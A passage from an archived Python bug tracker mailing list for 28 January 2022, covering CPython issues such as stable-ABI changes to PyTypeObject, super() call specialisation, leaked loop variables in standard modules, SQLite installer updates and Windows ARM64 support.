PyDescr_IsData(); no fast internal API * Always implemented as a function, remove macro optimization in the non-limited API: * PyIter_Check(); no fast internal API * PyIndex_Check(); add internal inline _PyIndex_Check() * PyExceptionClass_Name(); no fast internal API * Py_TRASHCAN_BEGIN() macro now calls _PyTrash_cond() function: no longer read directly tp_dealloc member * PyObject_NEW() macro becomes an alias to PyObject_New() * Remove PyHeapType_GET_MEMBERS() (move it to the internal C API) PyType_HasFeature() is left unchanged since the change caused performance issue on macOS, whereas Python is not built with LTO. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 09:19:51 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 Jan 2022 14:19:51 +0000 Subject: [issue40170] [C API] Prepare PyTypeObject structure for a stable ABI: avoid accessing members in the public API In-Reply-To: <1585915023.07.0.846808236133.issue40170@roundup.psfhosted.org> Message-ID: <1643379591.51.0.85494157676.issue40170@roundup.psfhosted.org> Change by STINNER Victor : ---------- title: [C API] Make PyTypeObject structure an opaque structure in the public C API -> [C API] Prepare PyTypeObject structure for a stable ABI: avoid accessing members in the public API _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 09:22:41 2022 From: report at bugs.python.org (Michael Felt) Date: Fri, 28 Jan 2022 14:22:41 +0000 Subject: [issue40170] [C API] Prepare PyTypeObject structure for a stable ABI: avoid accessing members in the public API In-Reply-To: <1585915023.07.0.846808236133.issue40170@roundup.psfhosted.org> Message-ID: <1643379761.04.0.47843719442.issue40170@roundup.psfhosted.org> Change by Michael Felt : ---------- nosy: -Michael.Felt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 09:25:55 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 Jan 2022 14:25:55 +0000 Subject: [issue40170] [C API] Prepare PyTypeObject structure for a stable ABI: avoid accessing members in the public API In-Reply-To: <1585915023.07.0.846808236133.issue40170@roundup.psfhosted.org> Message-ID: <1643379955.34.0.286239644719.issue40170@roundup.psfhosted.org> STINNER Victor added the comment: I close the issue. While this issue is not fully fixed, it's a milestone of my "stable ABI" goal. I prefer to address remaining issues in new separted issues. This issues is not fully fixed, there are are still a 4 macros which access directly PyTypeObject members: * PySequence_ITEM() * _PyObject_SIZE() * _PyObject_VAR_SIZE() * PyType_HasFeature() (if Py_LIMITED_API is not defined) PySequence_ITEM() and PyType_HasFeature() are important for performance, I prefer to have a PEP before changing these two functions. _PyObject_SIZE() and _PyObject_VAR_SIZE() should be made public with a better name like PyObject_SizeOf() and PyVarObject_SizeOf(). But I prefer to do that in a separated issue. IMO it would be interesting to merge the PyHeapTypeObject structure into the PyTypeObject structure: https://bugs.python.org/issue46433#msg411167 And make the PyTypeObject opaque: deprecate static types and promote the usage of heap types in C extensions. That's a big project which may be splitted into multiple issues and the final change may need its own PEP. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 09:28:07 2022 From: report at bugs.python.org (Mark Shannon) Date: Fri, 28 Jan 2022 14:28:07 +0000 Subject: [issue46072] Unify handling of stats in the CPython VM In-Reply-To: <1639498673.65.0.709719181358.issue46072@roundup.psfhosted.org> Message-ID: <1643380087.21.0.837794198182.issue46072@roundup.psfhosted.org> Change by Mark Shannon : ---------- pull_requests: +29168 pull_request: https://github.com/python/cpython/pull/30989 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 09:30:48 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Fri, 28 Jan 2022 14:30:48 +0000 Subject: [issue46562] Add typeof or enum behavior in the typing module In-Reply-To: <1643376969.17.0.119723519052.issue46562@roundup.psfhosted.org> Message-ID: <1643380248.23.0.556548490927.issue46562@roundup.psfhosted.org> Jelle Zijlstra added the comment: Thanks for your report! I think you're looking for the Literal type. Also, new typing behaviors are better discussed first on https://github.com/python/typing or the typing-sig mailing list. ---------- nosy: +Jelle Zijlstra resolution: -> later stage: -> resolved status: open -> closed versions: +Python 3.11 -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 10:10:19 2022 From: report at bugs.python.org (Ian Lee) Date: Fri, 28 Jan 2022 15:10:19 +0000 Subject: [issue46550] __slots__ updates despite being read-only In-Reply-To: <1643295332.29.0.0186682990953.issue46550@roundup.psfhosted.org> Message-ID: <1643382619.34.0.138159014314.issue46550@roundup.psfhosted.org> Ian Lee added the comment: @ronaldoussoren - right, I agree that I think that raising the AttributeErrors is the right thing. The part that feels like a bug to me is that the exception is saying it is read only and yet it is not being treated it that way (even though as you point out, the end result doesn't "work"). Maybe this is something about the augmented assignment that I'm just not grokking... I read the blurb @eryksun posted several times, but not seeming to see what is going on. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 10:19:48 2022 From: report at bugs.python.org (Mark Shannon) Date: Fri, 28 Jan 2022 15:19:48 +0000 Subject: [issue46533] Specialize for staticmethods and classmethods In-Reply-To: <1643191278.03.0.471360623467.issue46533@roundup.psfhosted.org> Message-ID: <1643383188.24.0.441768272249.issue46533@roundup.psfhosted.org> Change by Mark Shannon : ---------- keywords: +patch pull_requests: +29169 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30990 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 10:20:56 2022 From: report at bugs.python.org (Mark Shannon) Date: Fri, 28 Jan 2022 15:20:56 +0000 Subject: [issue46072] Unify handling of stats in the CPython VM In-Reply-To: <1639498673.65.0.709719181358.issue46072@roundup.psfhosted.org> Message-ID: <1643383256.1.0.743432814793.issue46072@roundup.psfhosted.org> Mark Shannon added the comment: New changeset 90ab138bbdc63763ad825ed6d4821367c09c4015 by Mark Shannon in branch 'main': bpo-46072: Add simple stats for Python calls. (GH-30989) https://github.com/python/cpython/commit/90ab138bbdc63763ad825ed6d4821367c09c4015 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 10:44:58 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 Jan 2022 15:44:58 +0000 Subject: [issue46563] Add tests and documentation regarding context of exception in a finally block Message-ID: <1643384698.2.0.455310803456.issue46563@roundup.psfhosted.org> New submission from Irit Katriel : This behavior (that the OSError has the ValueError as context) should be tested and documented: >>> try: ... raise TypeError(1) ... except: ... raise ValueError(2) ... finally: ... raise OSError(3) ... Traceback (most recent call last): File "", line 2, in TypeError: 1 During handling of the above exception, another exception occurred: Traceback (most recent call last): File "", line 4, in ValueError: 2 During handling of the above exception, another exception occurred: Traceback (most recent call last): File "", line 6, in OSError: 3 ---------- components: Interpreter Core messages: 412003 nosy: iritkatriel priority: normal severity: normal status: open title: Add tests and documentation regarding context of exception in a finally block type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 10:45:39 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 Jan 2022 15:45:39 +0000 Subject: [issue46563] Add tests and documentation regarding context of exception in a finally block In-Reply-To: <1643384698.2.0.455310803456.issue46563@roundup.psfhosted.org> Message-ID: <1643384739.03.0.0614256758274.issue46563@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch pull_requests: +29170 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30986 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 10:46:48 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 Jan 2022 15:46:48 +0000 Subject: [issue46458] Optimise try-except code generation for the happy path In-Reply-To: <1642778763.27.0.10743946589.issue46458@roundup.psfhosted.org> Message-ID: <1643384808.64.0.272166040768.issue46458@roundup.psfhosted.org> Change by Irit Katriel : ---------- pull_requests: -29165 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 10:48:08 2022 From: report at bugs.python.org (Vinay Sajip) Date: Fri, 28 Jan 2022 15:48:08 +0000 Subject: [issue46557] Logging captured warnings with a format string unnecessarily groups warnings together In-Reply-To: <1643330332.28.0.388721320926.issue46557@roundup.psfhosted.org> Message-ID: <1643384888.58.0.759645946553.issue46557@roundup.psfhosted.org> Change by Vinay Sajip : ---------- type: behavior -> enhancement versions: -Python 3.10, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 11:29:41 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 28 Jan 2022 16:29:41 +0000 Subject: [issue45925] Upgrade macOS and Windows installers to use SQLite 3.37.2 In-Reply-To: <1638187039.58.0.251846461245.issue45925@roundup.psfhosted.org> Message-ID: <1643387381.48.0.426759071129.issue45925@roundup.psfhosted.org> Steve Dower added the comment: New changeset db77bcd6092f3c174ae855522411ab83854d65a8 by Kumar Aditya in branch 'main': bpo-45925: Update Windows installer to SQLite 3.37.2 (GH-30485) https://github.com/python/cpython/commit/db77bcd6092f3c174ae855522411ab83854d65a8 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 11:32:19 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 28 Jan 2022 16:32:19 +0000 Subject: [issue45925] Upgrade macOS and Windows installers to use SQLite 3.37.2 In-Reply-To: <1638187039.58.0.251846461245.issue45925@roundup.psfhosted.org> Message-ID: <1643387539.85.0.611160016869.issue45925@roundup.psfhosted.org> Change by Steve Dower : ---------- pull_requests: +29171 pull_request: https://github.com/python/cpython/pull/30991 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 11:36:58 2022 From: report at bugs.python.org (Ken Jin) Date: Fri, 28 Jan 2022 16:36:58 +0000 Subject: [issue46564] Near zero-cost super().meth() calls via adaptive superinstructions Message-ID: <1643387818.31.0.971991048266.issue46564@roundup.psfhosted.org> New submission from Ken Jin : `super().meth()` is expensive. I propose to optimize 3 parts of this: 1. Avoid creating a temporary super() proxy object. 2. Avoid creating a bound method. 3. Avoid method lookup in super MRO using the inline cache. Credit for 1. and 2. doesn't belong to me. Those were inspired by the excellent work done in issue43563. I'll do this by combining the adjacent CALL (super) and LOAD_METHOD instructions into CALL_NO_KW_SUPER__LOAD_METHOD. Using the specializer means: - We don't touch any compiler code. - This custom instruction isn't revealed to the user - I can make use of the 5 cache entries shared by both CALL_ADAPTIVE and LOAD_METHOD_ADAPTIVE. The final 2-argument super(type, obj).meth() form will have almost no overhead over a corresponding self.meth() call in the current implementation. Please see https://github.com/faster-cpython/ideas/issues/242 and https://github.com/faster-cpython/ideas/discussions/239 for more info. ---------- assignee: kj components: Interpreter Core messages: 412005 nosy: Mark.Shannon, kj priority: normal severity: normal status: open title: Near zero-cost super().meth() calls via adaptive superinstructions type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 11:47:31 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 28 Jan 2022 16:47:31 +0000 Subject: [issue46565] Multiple modules leak `for` loop variables into module's namespace Message-ID: <1643388451.48.0.632570140145.issue46565@roundup.psfhosted.org> New submission from Nikita Sobolev : Some variables created as `for X in ...` leak into module's namespace, where the loop is defined. I wrote a simple `flake8` plugin to find names that are used in `ast.Module` in `ast.For`, but not under `if __name__ == '__main__'` and are not used in `del` afterwards. Here's what I got: - Lib/inspect.py:157 - Lib/locale.py:746 - Lib/sysconfig.py:186 - Lib/tokenize.py:141 - 151 - Lib/multiprocessing/process.py:427 - Lib/multiprocessing/managers.py:55 - Lib/json/encoder.py:30 - Lib/http/cookiejar.py:93 - Lib/email/contentmanager.py:73 - Lib/email/contentmanager.py:79 - Lib/email/contentmanager.py:247 - Lib/email/quoprimime.py:60 - Lib/email/quoprimime.py:149 - Lib/_compat_pickle - Lib/lib2to3/pgen2/grammar.py I think, that we need to remove these names. Why? 1. They complicate typeshed typing, we have to annotate them in typeshed, or write custom ignore rules for our test suite. Ref: https://github.com/python/typeshed/blob/56aa2088aada530400b6fdddf0f1d17ca3aaa86f/tests/stubtest_allowlists/py3_common.txt#L448 2. They are in `dir()`, example: ``` >>> import inspect >>> 'k' in dir(inspect) True ``` 3. They are listed in `help()`, let's use `json.encoder` as an example: ``` DATA ESCAPE = re.compile('[\\x00-\\x1f\\\\"\\b\\f\\n\\r\\t]') ESCAPE_ASCII = re.compile('([\\\\"]|[^\\ -~])') ESCAPE_DCT = {'\x00': r'\u0000', '\x01': r'\u0001', '\x02': r'\u0002',... HAS_UTF8 = re.compile(b'[\x80-\xff]') INFINITY = inf i = 31 ``` 4. We also have to exclude them sometimes in tests, like https://github.com/python/cpython/blob/db77bcd6092f3c174ae855522411ab83854d65a8/Lib/test/test_inspect.py#L111 I think that adding `del X` somewhere in these modules is a good thing: 1. Not hard to backport 2. Fixes multiple issues above 3. Does not store useless objects in memory 4. Does not confuse people 5. Some modules already delete unused intermediate vars, so it is not something new to CPython, for example: `multiprocessing.process` https://github.com/python/cpython/blob/db77bcd6092f3c174ae855522411ab83854d65a8/Lib/multiprocessing/process.py#L419 PR is on its way! ---------- components: Library (Lib) messages: 412006 nosy: sobolevn priority: normal severity: normal status: open title: Multiple modules leak `for` loop variables into module's namespace type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 11:47:42 2022 From: report at bugs.python.org (Ken Jin) Date: Fri, 28 Jan 2022 16:47:42 +0000 Subject: [issue46564] Near zero-cost super().meth() calls via adaptive superinstructions In-Reply-To: <1643387818.31.0.971991048266.issue46564@roundup.psfhosted.org> Message-ID: <1643388462.69.0.70050134528.issue46564@roundup.psfhosted.org> Change by Ken Jin : ---------- keywords: +patch pull_requests: +29172 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30992 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 11:48:16 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 28 Jan 2022 16:48:16 +0000 Subject: [issue33125] Windows 10 ARM64 platform support In-Reply-To: <1521767011.97.0.467229070634.issue33125@psf.upfronthosting.co.za> Message-ID: <1643388496.8.0.121651758014.issue33125@roundup.psfhosted.org> Steve Dower added the comment: New changeset 45faf151c693b6f13f78926761caea6df7242024 by Steve Dower in branch 'main': bpo-33125: Enables building traditional installer for Windows ARM64 (GH-30885) https://github.com/python/cpython/commit/45faf151c693b6f13f78926761caea6df7242024 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 11:49:25 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 28 Jan 2022 16:49:25 +0000 Subject: [issue46565] Multiple modules leak `for` loop variables into module's namespace In-Reply-To: <1643388451.48.0.632570140145.issue46565@roundup.psfhosted.org> Message-ID: <1643388565.82.0.367928647353.issue46565@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- nosy: +AlexWaygood _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 11:49:50 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 28 Jan 2022 16:49:50 +0000 Subject: [issue46565] Multiple modules leak `for` loop variables into module's namespace In-Reply-To: <1643388451.48.0.632570140145.issue46565@roundup.psfhosted.org> Message-ID: <1643388590.0.0.491135066646.issue46565@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +29173 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30993 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 11:52:59 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 28 Jan 2022 16:52:59 +0000 Subject: [issue46566] Support -3.11-arm64 in py.exe launcher Message-ID: <1643388779.11.0.426548045355.issue46566@roundup.psfhosted.org> New submission from Steve Dower : We now have a traditional installer that runs on Windows ARM64 devices, but it omits the py.exe launcher. This is because sys.winver is "3.11-arm64" and hence the registry tag (see PEP 514) is not detected by the launcher. Currently, the launcher is not included in the installer and appears as disabled with an explanatory note. We need to add support for it eventually, and possibly block the final/RC/beta releases if we don't have it. (We don't ship the launcher with Nuget or Store packages, so nobody will miss it there, but they probably will here.) 32-bit apps can still run on ARM64, so it isn't essential to make it a native process. It just has to be able to detect the registry keys. It should still support 32-bit and 64-bit installs, because those can also be run on ARM64 devices (though there are numerous things that don't work as well as a native build). Possibly we want to just do the work to directly follow PEP 514 now? Depends on who volunteers to work on this, I guess. ---------- components: Windows messages: 412008 nosy: paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal stage: needs patch status: open title: Support -3.11-arm64 in py.exe launcher type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 11:54:05 2022 From: report at bugs.python.org (Eryk Sun) Date: Fri, 28 Jan 2022 16:54:05 +0000 Subject: [issue46550] __slots__ updates despite being read-only In-Reply-To: <1643295332.29.0.0186682990953.issue46550@roundup.psfhosted.org> Message-ID: <1643388845.78.0.443814831401.issue46550@roundup.psfhosted.org> Eryk Sun added the comment: If the target object of an augmented assignment doesn't support the in-place binary operation, the normal binary operation is used instead. Thus an augmented assignment is implemented to always assign the result back to the target. For an attribute, that's similar to `x.a += 1` -> `x.a = x.a + 1`. For example: >>> dis.dis('x.a += 1') 0 RESUME 0 1 2 LOAD_NAME 0 (x) 4 DUP_TOP 6 LOAD_ATTR 1 (a) 8 LOAD_CONST 0 (1) 10 BINARY_OP 13 (+=) 12 ROT_TWO 14 STORE_ATTR 1 (a) 16 LOAD_CONST 1 (None) 18 RETURN_VALUE Note the STORE_ATTR instruction in the above bytecode. As to __slots__, I think that class construction should store it as a tuple, unless maybe I'm overlooking some use case. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 11:54:02 2022 From: report at bugs.python.org (Zachary Ware) Date: Fri, 28 Jan 2022 16:54:02 +0000 Subject: [issue46565] Multiple modules leak `for` loop variables into module's namespace In-Reply-To: <1643388451.48.0.632570140145.issue46565@roundup.psfhosted.org> Message-ID: <1643388842.51.0.0285501577173.issue46565@roundup.psfhosted.org> Change by Zachary Ware : ---------- nosy: +zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 11:54:31 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 28 Jan 2022 16:54:31 +0000 Subject: [issue33125] Windows 10 ARM64 platform support In-Reply-To: <1521767011.97.0.467229070634.issue33125@psf.upfronthosting.co.za> Message-ID: <1643388871.4.0.0937379450206.issue33125@roundup.psfhosted.org> Steve Dower added the comment: The ARM64 installer will be part of the next 3.11 release, minus the py.exe launcher (which needs a chunk of work in issue46566) and Tcl/Tk (which needs upstream support for the platform) and hence IDLE. I'm hesitant to make a final release without these components. At the same time, I'm concerned about other release blocking issues that may arise that are unrelated, so I do want to get releases out even without them so that we have a chance to discover them. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 11:55:41 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 28 Jan 2022 16:55:41 +0000 Subject: [issue46567] Add Tcl/Tk builds for ARM64 Message-ID: <1643388941.84.0.746346851464.issue46567@roundup.psfhosted.org> New submission from Steve Dower : Currently our ARM64 installs omit Tcl/Tk (and implicitly tkinter and IDLE) because there appears to be no upstream support for building Tcl/Tk for ARM64. Once the upstream support exists, or we have a good enough patch to apply to our own copy of the sources, we need to add these back. ---------- components: Tkinter, Windows messages: 412011 nosy: paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal stage: needs patch status: open title: Add Tcl/Tk builds for ARM64 type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 11:55:59 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 28 Jan 2022 16:55:59 +0000 Subject: [issue33125] Windows 10 ARM64 platform support In-Reply-To: <1521767011.97.0.467229070634.issue33125@psf.upfronthosting.co.za> Message-ID: <1643388959.17.0.541737032504.issue33125@roundup.psfhosted.org> Steve Dower added the comment: Tcl/Tk tracking issue is issue46567 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 11:56:36 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 28 Jan 2022 16:56:36 +0000 Subject: [issue46530] `'thread_time'` is missing from `test_get_clock_info` In-Reply-To: <1643187723.6.0.226648372956.issue46530@roundup.psfhosted.org> Message-ID: <1643388996.94.0.660446696115.issue46530@roundup.psfhosted.org> miss-islington added the comment: New changeset ce5c637f5ae06f2a6a6e966524af9d0cc816bd3f by Miss Islington (bot) in branch '3.9': bpo-46530: add `"thread_time"` to `test_time.test_get_clock_info` (GH-30913) https://github.com/python/cpython/commit/ce5c637f5ae06f2a6a6e966524af9d0cc816bd3f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 11:56:57 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 28 Jan 2022 16:56:57 +0000 Subject: [issue46530] `'thread_time'` is missing from `test_get_clock_info` In-Reply-To: <1643187723.6.0.226648372956.issue46530@roundup.psfhosted.org> Message-ID: <1643389017.22.0.15424914204.issue46530@roundup.psfhosted.org> miss-islington added the comment: New changeset 95b70e2ccfb295c77c3696bcb20c1513310efd1f by Miss Islington (bot) in branch '3.10': bpo-46530: add `"thread_time"` to `test_time.test_get_clock_info` (GH-30913) https://github.com/python/cpython/commit/95b70e2ccfb295c77c3696bcb20c1513310efd1f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 11:58:45 2022 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 28 Jan 2022 16:58:45 +0000 Subject: [issue46553] typing: get_type_hints on stringified lone ClassVar raises TypeError In-Reply-To: <1643316613.99.0.345169624659.issue46553@roundup.psfhosted.org> Message-ID: <1643389125.07.0.997189513805.issue46553@roundup.psfhosted.org> Guido van Rossum added the comment: New changeset 5445e173e76ec792358082caf660fbdc846c64b2 by Gregory Beauregard in branch 'main': bpo-46553: allow bare typing.ClassVar annotations (#30983) https://github.com/python/cpython/commit/5445e173e76ec792358082caf660fbdc846c64b2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 11:59:15 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 28 Jan 2022 16:59:15 +0000 Subject: [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot In-Reply-To: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> Message-ID: <1643389155.33.0.168885016169.issue46542@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- nosy: +sobolevn nosy_count: 3.0 -> 4.0 pull_requests: +29174 pull_request: https://github.com/python/cpython/pull/30913 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 12:00:20 2022 From: report at bugs.python.org (Eric Snow) Date: Fri, 28 Jan 2022 17:00:20 +0000 Subject: [issue46524] test_peg_generator takes 8 minutes on Windows In-Reply-To: <1643152481.07.0.965453641078.issue46524@roundup.psfhosted.org> Message-ID: Eric Snow added the comment: On Tue, Jan 25, 2022 at 4:14 PM STINNER Victor wrote: > Currently, most CI run "make buildbottest" which uses -r option of libregrtest: randomize tests order. How hard would it be to first randomize the list and then move the slow tests up to a random position in the first half (for example) of the list? ---------- nosy: +eric.snow _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 12:05:59 2022 From: report at bugs.python.org (Alex Waygood) Date: Fri, 28 Jan 2022 17:05:59 +0000 Subject: [issue46565] Multiple modules leak `for` loop variables into module's namespace In-Reply-To: <1643388451.48.0.632570140145.issue46565@roundup.psfhosted.org> Message-ID: <1643389559.08.0.521068429087.issue46565@roundup.psfhosted.org> Alex Waygood added the comment: +1 for the proposed PR. Loop variables leaking into the global namespace creates an extra burden for typeshed when we have to wade through a long list of objects that our tests report are present at runtime but not in the typeshed stubs. It's not the end of the world, but it takes time, and is annoying. As Nikita explains, these leaky variables also make the output of `help()` much less useful. The fix isn't hard, and shouldn't, in my opinion, be particularly controversial. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 12:13:26 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 28 Jan 2022 17:13:26 +0000 Subject: [issue45925] Upgrade macOS and Windows installers to use SQLite 3.37.2 In-Reply-To: <1638187039.58.0.251846461245.issue45925@roundup.psfhosted.org> Message-ID: <1643390006.56.0.346522436398.issue45925@roundup.psfhosted.org> Steve Dower added the comment: New changeset 4d191fcde426ca0643d961aa18e787103f05fce2 by Steve Dower in branch '3.10': bpo-45925: Update Windows installer to SQLite 3.37.2 (GH-30485) https://github.com/python/cpython/commit/4d191fcde426ca0643d961aa18e787103f05fce2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 12:13:32 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 28 Jan 2022 17:13:32 +0000 Subject: [issue45925] Upgrade macOS and Windows installers to use SQLite 3.37.2 In-Reply-To: <1638187039.58.0.251846461245.issue45925@roundup.psfhosted.org> Message-ID: <1643390012.12.0.487839330219.issue45925@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 8.0 -> 9.0 pull_requests: +29175 pull_request: https://github.com/python/cpython/pull/30994 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 12:24:25 2022 From: report at bugs.python.org (Zackery Spytz) Date: Fri, 28 Jan 2022 17:24:25 +0000 Subject: [issue46560] ParamSpec: Typo in doc string In-Reply-To: <1643339968.72.0.870372405704.issue46560@roundup.psfhosted.org> Message-ID: <1643390665.45.0.473383976322.issue46560@roundup.psfhosted.org> Change by Zackery Spytz : ---------- keywords: +patch nosy: +ZackerySpytz nosy_count: 3.0 -> 4.0 pull_requests: +29176 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30995 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 12:58:07 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 28 Jan 2022 17:58:07 +0000 Subject: [issue45925] Upgrade macOS and Windows installers to use SQLite 3.37.2 In-Reply-To: <1638187039.58.0.251846461245.issue45925@roundup.psfhosted.org> Message-ID: <1643392687.05.0.436582226191.issue45925@roundup.psfhosted.org> miss-islington added the comment: New changeset ad9cf2fdd39968b07e04136c8b50f65a4596c087 by Miss Islington (bot) in branch '3.9': bpo-45925: Update Windows installer to SQLite 3.37.2 (GH-30485) https://github.com/python/cpython/commit/ad9cf2fdd39968b07e04136c8b50f65a4596c087 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 13:08:20 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 28 Jan 2022 18:08:20 +0000 Subject: [issue46560] ParamSpec: Typo in doc string In-Reply-To: <1643339968.72.0.870372405704.issue46560@roundup.psfhosted.org> Message-ID: <1643393300.1.0.0706968363597.issue46560@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 5.0 -> 6.0 pull_requests: +29177 pull_request: https://github.com/python/cpython/pull/30996 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 13:08:14 2022 From: report at bugs.python.org (Ken Jin) Date: Fri, 28 Jan 2022 18:08:14 +0000 Subject: [issue46560] ParamSpec: Typo in doc string In-Reply-To: <1643339968.72.0.870372405704.issue46560@roundup.psfhosted.org> Message-ID: <1643393294.74.0.648773475506.issue46560@roundup.psfhosted.org> Ken Jin added the comment: New changeset ffa505b580464d9d90c29e69bd4db8c52275280a by Zackery Spytz in branch 'main': bpo-46560: Fix a typo in `typing.ParamSpec's` doc string (GH-30995) https://github.com/python/cpython/commit/ffa505b580464d9d90c29e69bd4db8c52275280a ---------- nosy: +kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 13:28:10 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 Jan 2022 18:28:10 +0000 Subject: [issue46563] Add tests and documentation regarding context of exception in a finally block In-Reply-To: <1643384698.2.0.455310803456.issue46563@roundup.psfhosted.org> Message-ID: <1643394490.03.0.128550575299.issue46563@roundup.psfhosted.org> Irit Katriel added the comment: The documentation is fine: https://docs.python.org/3/library/exceptions.html#exception-context ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 13:36:25 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 28 Jan 2022 18:36:25 +0000 Subject: [issue46560] ParamSpec: Typo in doc string In-Reply-To: <1643339968.72.0.870372405704.issue46560@roundup.psfhosted.org> Message-ID: <1643394985.28.0.217441715073.issue46560@roundup.psfhosted.org> miss-islington added the comment: New changeset 315a60acd14dd730b2081574c09ccc29e92ee687 by Miss Islington (bot) in branch '3.10': bpo-46560: Fix a typo in `typing.ParamSpec's` doc string (GH-30995) https://github.com/python/cpython/commit/315a60acd14dd730b2081574c09ccc29e92ee687 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 13:40:04 2022 From: report at bugs.python.org (Ken Jin) Date: Fri, 28 Jan 2022 18:40:04 +0000 Subject: [issue46560] ParamSpec: Typo in doc string In-Reply-To: <1643339968.72.0.870372405704.issue46560@roundup.psfhosted.org> Message-ID: <1643395204.77.0.914754527952.issue46560@roundup.psfhosted.org> Ken Jin added the comment: Thanks for the fix Zackery. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 13:41:42 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 Jan 2022 18:41:42 +0000 Subject: [issue46563] Add tests regarding context of exception in a finally block In-Reply-To: <1643384698.2.0.455310803456.issue46563@roundup.psfhosted.org> Message-ID: <1643395302.28.0.10127172637.issue46563@roundup.psfhosted.org> Change by Irit Katriel : ---------- 